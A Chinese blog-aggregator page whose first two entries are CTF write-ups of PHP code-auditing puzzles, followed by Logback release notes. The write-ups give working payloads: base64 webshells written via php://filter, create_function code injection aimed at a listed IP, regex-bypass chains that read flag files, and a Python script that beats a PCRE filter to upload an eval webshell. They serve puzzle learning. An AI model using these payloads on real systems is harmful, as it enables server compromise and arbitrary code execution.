首页 文章 精选 留言 我的

精选列表

搜索[日志审计],共10000篇文章
优秀的个人博客,低调大师

p神 代码审计知识星球二周年wp[2]

参考文献:https://m3lon.github.io/2018/05/29/RCTF-r-cursive-wp/http://f1sh.site/2018/11/25/code-breaking-puzzles%e5%81%9a%e9%a2%98%e8%ae%b0%e5%bd%95/ 递归匹配:http://www.laruence.com/2011/09/30/2179.html easy - phpmagic 源码 <?php if(isset($_GET['read-source'])) { exit(show_source(__FILE__)); } define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR'])); if(!is_dir(DATA_DIR)) { mkdir(DATA_DIR, 0755, true); } chdir(DATA_DIR); $domain = isset($_POST['domain']) ? $_POST['domain'] : ''; $log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d'); ?> <!doctype html> <html lang="en"> <head> <!-- Required meta tags --> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <!-- Bootstrap CSS --> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.1.3/dist/css/bootstrap.min.css" integrity="sha256-eSi1q2PG6J7g7ib17yAaWMcrr5GrtohYChqibrV7PBE=" crossorigin="anonymous"> <title>Domain Detail</title> <style> pre { width: 100%; background-color: #f6f8fa; border-radius: 3px; font-size: 85%; line-height: 1.45; overflow: auto; padding: 16px; border: 1px solid #ced4da; } </style> </head> <body> <div class="container"> <div class="row"> <div class="col"> <form method="post"> <div class="input-group mt-3"> <div class="input-group-prepend"> <span class="input-group-text" id="basic-addon1">dig -t A -q</span> </div> <input type="text" name="domain" class="form-control" placeholder="Your domain"> <div class="input-group-append"> <button class="btn btn-outline-secondary" type="submit">执行</button> </div> </div> </form> </div> </div> <div class="row"> <div class="col"> <pre class="mt-3"><?php if(!empty($_POST) && $domain): $command = sprintf("dig -t A -q %s", escapeshellarg($domain)); $output = shell_exec($command); $output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES); $log_name = $_SERVER['SERVER_NAME'] . $log_name; if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) { file_put_contents($log_name, $output); } echo $output; endif; ?></pre> </div> </div> </div> </body> </html> 解题思路 能控制文件名和文件内容,但是文件内容被htmlspecialchars函数过滤了一次,尖括号没了。PHP的一个特点:只要是传filename的地方,基本都可以传协议流。而file_put_contents的第一个参数就是传filename的地方一个简单的栗子 利用php伪协议流解码base64写入webshell 其他问题 后缀名将能解析php文件的全禁止了 $log_name之前会加上$_SERVER['SERVER_NAME'],不完全可控文件名 文件内容也不完全可控 解决方法 一个可以在windows和linux上都行得通的方法: filename=1.php/.&content=<?php phpinfo();?> 在操作系统中,都是禁止使用/作为文件名的,但是后面加一个.就可以成功的写入1.php了。pathinfo就取不到后缀名,可以正常写入.php之中。且无论是在windows上还是linux上,每次都只可以创建新文件,不能覆盖老文件 $_SERVER['SERVER_NAME']取的是HTTP headers中的Host的值。md5($_SERVER['REMOTE_ADDR'])是自己本机外网ip的md5值 最终payload domain=PD9waHAgZXZhbCgkX1BPU1RbMTJdKTs/Pg&log=://filter/write=convert.base64-decode/resource=6.php/. 在p神的环境上可以直接成功。但是在本机上测试的时候,写入的文件一直是乱码,后来经大佬提醒才知道还需填充字符串。(左边是p神的环境,右边是自己的) 在自己本机上的payload domain=aaaPD9waHAgZXZhbCgkX1BPU1RbMTJdKTs/Pg&log=://filter/write=convert.base64-decode/resource=8.php/. easy - phplimit 源码 <?php if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { eval($_GET['code']); } else { show_source(__FILE__); } 解题思路 \W:任意个非单词字符。匹配非字母、数字、下划线。等价于 `[^A-Za-z0-9_]` ?: 匹配前面的子表达式零次或一次,或指明一个非贪婪限定符。要匹配 ? 字符,请使用 \? \((?R)?\):(?R)*表示, 正则式本身, 可以认为是:`(正则本身(正则本身).....)`。 那么此题最终的正则匹配就是可以递归执行函数,不可以带参数。php函数 getcwd ():取得当前工作目录 dirname():给出一个包含有指向一个文件的全路径的字符串,本函数返回去掉文件名后的目录名。 chdir():改变当前的目录。 scandir(directory):返回一个 array,包含有 `directory` 中的文件和目录 readdir ():返回目录中下一个文件的文件名。文件名以在文件系统中的排序返回 array_reverse() :接受数组 array 作为输入并返回一个单元为相反顺序的新数组 next():它返回的是下一个数组单元的值并将数组指针向前移动了一位。 get_defined_vars ():返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。 reset():将 array 的内部指针倒回到第一个单元并返回第一个数组单元的值。 不带参数的一些函数组合 ?code=print(phpinfo()); ?code=print(readdir(opendir(getcwd()))); #列目录 ?code=print(readfile(readdir(opendir(getcwd())))); #读文件 ?code=print(dirname(dirname(getcwd()))); #print出/var ?code=eval(implode(getallheaders())); #apache模块的函数 ?code=eval(implode(get_defined_vars())); 最终payload ?code=readfile(implode(array_reverse(scandir(dirname(chdir(dirname(getcwd()))))))); #查看当前文件夹 ?code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd()))))))); 或者 ?1=readfile("../flag_phpbyp4ss");//&code=eval(implode(reset(get_defined_vars())))

优秀的个人博客,低调大师

p神 代码审计知识星球二周年wp[1]

题目:https://code-breaking.com 参考文献:https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.htmlhttps://blog.csdn.net/while0/article/details/72276440 easy-function 源码 <?php $action = $_GET['action'] ?? ''; $arg = $_GET['arg'] ?? ''; if(preg_match('/^[a-z0-9_]*$/isD', $action)) { show_source(__FILE__); } else { $action('', $arg); } 解题思路 在数字字母下划线都被禁用的情况下调用函数,因为正则里面用了^$,就有可能在开头或结尾加入某个字符绕过正则且函数依旧能正常执行。最后发现\可以,不禁能绕过正则,还能使函数正常执行。 正常执行的原因: php里默认命名空间是\,所有原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name()这样的调用函数,则其实是写了一个绝对路径。如果在其他namespace里调用系统类,就必须写绝对路径这种方法。 任意函数调用,且函数的第二个参数可控。可使用create_function()利用create_function()代码注入 一个简单的栗子 <?php $id=$_GET['id']; $str2='echo '.$a.'test'.$id.";"; echo $str2; echo "<br/>"; echo "=============================="; echo "<br/>"; $f1 = create_function('$a',$str2); echo "<br/>"; echo "=============================="; ?> payload:http://localhost/2.php?id=2;}phpinfo();/* 执行函数 源代码: function fT($a) { echo "test".$a; } 注入后代码: function fT($a) { echo "test";} phpinfo();/*;//此处为注入代码。 } 最终payload 遍历文件夹下的所有文件: http://51.158.75.42:8087/index.php?action=\create_function&arg=2;}var_dump(scandir(%27.././%27));/* 拿到flag: http://51.158.75.42:8087/?action=%5ccreate_function&arg=2;}var_dump(file_get_contents(%22/var/www/flag_h0w2execute_arb1trary_c0de%22));/* easy-pcrewaf 源码 <?php function is_php($data){ return preg_match('/<\?.*[(`;?>].*/is', $data); } if(empty($_FILES)) { die(show_source(__FILE__)); } $user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']); $data = file_get_contents($_FILES['file']['tmp_name']); if (is_php($data)) { echo "bad request"; } else { @mkdir($user_dir, 0755); $path = $user_dir . '/' . random_int(0, 10) . '.php'; move_uploaded_file($_FILES['file']['tmp_name'], $path); header("Location: $path", true, 303); } 解题思路 判断一下用户输入的内容有没有PHP代码,如果没有,则写入文件。 先来分析下正则 正则引擎,又被细分为DFA(确定性有限状态自动机)与NFA(非确定性有限状态自动机)。他们匹配输入的过程分别是: DFA: 从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入 NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态。 回溯的过程 直接看p神的分析就行,贼详细就不多加叙述了 PHP的pcre.backtrack_limit限制利用 PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit。 回溯次数上限默认是 100万。 当回溯次数超过了100万, preg_match()返回 false,不是 1或0。则绕过了正则。 最终的解决方式: 通过发送超长字符串的方式,使正则执行失败,最后绕过目标对PHP语言的限制。 大佬的poc: import requests from io import BytesIO files = { 'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000) } res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False) print(res.headers) 解决方案 如果用preg_match对字符串进行匹配,一定要使用===全等号来判断返回值。

优秀的个人博客,低调大师

Logback 1.6.0 发布,Java 日志框架

Logback 旨在成为广受欢迎的 log4j 项目的继任者,承接 log4j 1.x 版本的发展脉络。Logback 的架构设计高度通用,可适应不同场景需求。目前该框架分为三个模块:logback-core、logback-classic 和 logback-access。 Logback 1.6.0现已发布,具体更新内容包括: 移除了某些已弃用的变量、方法和类。有关已移除成员的列表,可参阅release_1.6.0.txt。 在AsyncAppenderBase中,put(ILoggingEvent)方法现已添加 protected 修饰符,以便派生类可以访问该方法。pr#1053 将 SLF4J 依赖项升级到 2.0.18 版本。 可参阅1.6.x 系列概述。 可以通过从与标签v_1.6.0关联的commitb07adf3处从源代码构建,获得与本版本二进制完全相同的版本。Release built using Java "21" 2023-10-17 LTS build 21.0.1.+12-LTS-29 under Linux Debian 11.6. 更新说明:https://github.com/qos-ch/logback/releases/tag/v_1.6.0

优秀的个人博客,低调大师

Logback 1.5.38 发布,Java 日志框架

Logback 旨在成为广受欢迎的 log4j 项目的继任者,承接 log4j 1.x 版本的发展脉络。Logback 的架构设计高度通用,可适应不同场景需求。目前该框架分为三个模块:logback-core、logback-classic 和 logback-access。 Logback 1.5.38现已发布,具体更新内容包括: 在HardenedObjectInputStream中,修复了一个导致Throwable对象无法进行 white-filtered 的拼写错误。#1045 可以通过从与标签v_1.5.38 关联的commitd04984a处从源代码构建,获得与本版本二进制完全相同的版本。Release built using Java "21" 2023-10-17 LTS build 21.0.1.+12-LTS-29 under Linux Debian 11.6. 更新说明:https://github.com/qos-ch/logback/releases/tag/v_1.5.38

优秀的个人博客,低调大师

Logback 1.5.37 发布,Java 日志框架

Logback 旨在成为广受欢迎的 log4j 项目的继任者,承接 log4j 1.x 版本的发展脉络。Logback 的架构设计高度通用,可适应不同场景需求。目前该框架分为三个模块:logback-core、logback-classic 和 logback-access。 Logback 1.5.37现已发布,具体更新内容包括: 鉴于基于 Janino 库对 Java 表达式进行求值的条件配置处理存在诸多安全漏洞,已移除对此类表达式的支持。用户可使用在线迁移服务或采用 1.5.20 版本中引入的<condition>element。更多详情可参阅相关文档。 可以通过从与标签v_1.5.37 关联的commitc1df7f5处从源代码构建,获得与本版本二进制完全相同的版本。Release built using Java "21" 2023-10-17 LTS build 21.0.1.+12-LTS-29 under Linux Debian 11.6. 更新说明:https://github.com/qos-ch/logback/releases/tag/v_1.5.37

优秀的个人博客,低调大师

Logback 1.5.35 发布,Java 日志框架

Logback 旨在成为广受欢迎的 log4j 项目的继任者,承接 log4j 1.x 版本的发展脉络。Logback 的架构设计高度通用,可适应不同场景需求。目前该框架分为三个模块:logback-core、logback-classic 和 logback-access。 Logback 1.5.35现已发布,具体更新内容包括: <if>元素中的“condition”属性现在拒绝 Unicode 转义序列(\u 和 \U)。这修复了 Janino 评估条件中绕过现有 new 运算符禁用规则的漏洞。CVE-2026-13006 新增了ConfiguratorRank.AUTHENTICATING最高配置器等级(rank 100),用于通过 ServiceLoader 机制发现的已认证/已验证配置器。ContextInitializer现在要求类路径中最多只能存在一个此类配置器;如果找到多个,则初始化将中止并报错。 ConsoleCharsetPropertyDefiner不再随软件发布。logback-core 的 Java 21 多版本编译已被禁用,因此该类已从发布的工件中移除。引用此类的ch.qos.logback.core.property.ConsoleCharsetPropertyDefiner配置需要采用其他方法来检测控制台字符集。 logback-examples 模块现已包含在发布到 Maven Central 的工件中。 JoranConfigurator.makeAnotherInstance()和DefaultJoranConfigurator.performMultiStepConfigurationFileSearch()现在是 protected,允许派生配置器 override 这些方法。 可以通过从与标签 v_1.5.35 关联的commit08bd159处从源代码构建,获得与本版本二进制完全相同的版本。Release built using Java "21" 2023-10-17 LTS build 21.0.1.+12-LTS-29 under Linux Debian 11.6. 更新说明:https://github.com/qos-ch/logback/releases/tag/v_1.5.35

优秀的个人博客,低调大师

Logback 1.5.34 发布,Java 日志框架

Logback 旨在成为广受欢迎的 log4j 项目的继任者,承接 log4j 1.x 版本的发展脉络。Logback 的架构设计高度通用,可适应不同场景需求。目前该框架分为三个模块:logback-core、logback-classic 和 logback-access。 Logback 1.5.34 现已发布,具体更新内容包括: 如果 Throwable.getStackTrace 方法返回的某些 StackTraceElement 值为 null,StackTraceElementProxy 会使用一个虚拟实例代替,而不是抛出 IllegalArgumentException。issues #1040 HardenedObjectInputStream 现在会在尝试反序列化 Proxy 类时抛出 InvalidClassException。CVE-2026-10532 潜在反序列化白名单绕过漏洞。 可以通过从与标签 v_1.5.34 关联的commite62272a处从源代码构建,获得与本版本二进制完全相同的版本。Release built using Java "21" 2023-10-17 LTS build 21.0.1.+12-LTS-29 under Linux Debian 11.6. 更新说明:https://github.com/qos-ch/logback/releases/tag/v_1.5.34

优秀的个人博客,低调大师

Logback 1.5.28 发布,Java 日志框架

Logback 旨在成为广受欢迎的 log4j 项目的继任者,承接 log4j 1.x 版本的发展脉络。Logback 的架构设计高度通用,可适应不同场景需求。目前该框架分为三个模块:logback-core、logback-classic 和 logback-access。 Logback 1.5.28 现已发布,具体更新内容包括: Appender names 或 appender references 不再受变量替换的影响。 修复了包含附加器的条件配置问题。issues/1016 修复了 GraalVMNative Images 在使用 VersionUtil.checkForVersionEquality 方法时抛出的 NullPointerException 异常。issues/1014 可以通过从与标签 v_1.5.28 关联的commite7a1855处从源代码构建,获得与本版本二进制完全相同的版本。Release built using Java "21" 2023-10-17 LTS build 21.0.1.+12-LTS-29 under Linux Debian 11.6. 详情可查看更新说明:https://github.com/qos-ch/logback/releases/tag/v_1.5.28

资源下载

更多资源
Nacos

Nacos

Nacos /nɑ:kəʊs/ 是 Dynamic Naming and Configuration Service 的首字母简称,一个易于构建 AI Agent 应用的动态服务发现、配置管理和AI智能体管理平台。Nacos 致力于帮助您发现、配置和管理微服务及AI智能体应用。Nacos 提供了一组简单易用的特性集,帮助您快速实现动态服务发现、服务配置、服务元数据、流量管理。Nacos 帮助您更敏捷和容易地构建、交付和管理微服务平台。

Spring

Spring

Spring框架(Spring Framework)是由Rod Johnson于2002年提出的开源Java企业级应用框架,旨在通过使用JavaBean替代传统EJB实现方式降低企业级编程开发的复杂性。该框架基于简单性、可测试性和松耦合性设计理念,提供核心容器、应用上下文、数据访问集成等模块,支持整合Hibernate、Struts等第三方框架,其适用范围不仅限于服务器端开发,绝大多数Java应用均可从中受益。

Rocky Linux

Rocky Linux

Rocky Linux(中文名:洛基)是由Gregory Kurtzer于2020年12月发起的企业级Linux发行版,作为CentOS稳定版停止维护后与RHEL(Red Hat Enterprise Linux)完全兼容的开源替代方案,由社区拥有并管理,支持x86_64、aarch64等架构。其通过重新编译RHEL源代码提供长期稳定性,采用模块化包装和SELinux安全架构,默认包含GNOME桌面环境及XFS文件系统,支持十年生命周期更新。

WebStorm

WebStorm

WebStorm 是jetbrains公司旗下一款JavaScript 开发工具。目前已经被广大中国JS开发者誉为“Web前端开发神器”、“最强大的HTML5编辑器”、“最智能的JavaScript IDE”等。与IntelliJ IDEA同源,继承了IntelliJ IDEA强大的JS部分的功能。

用户登录
用户注册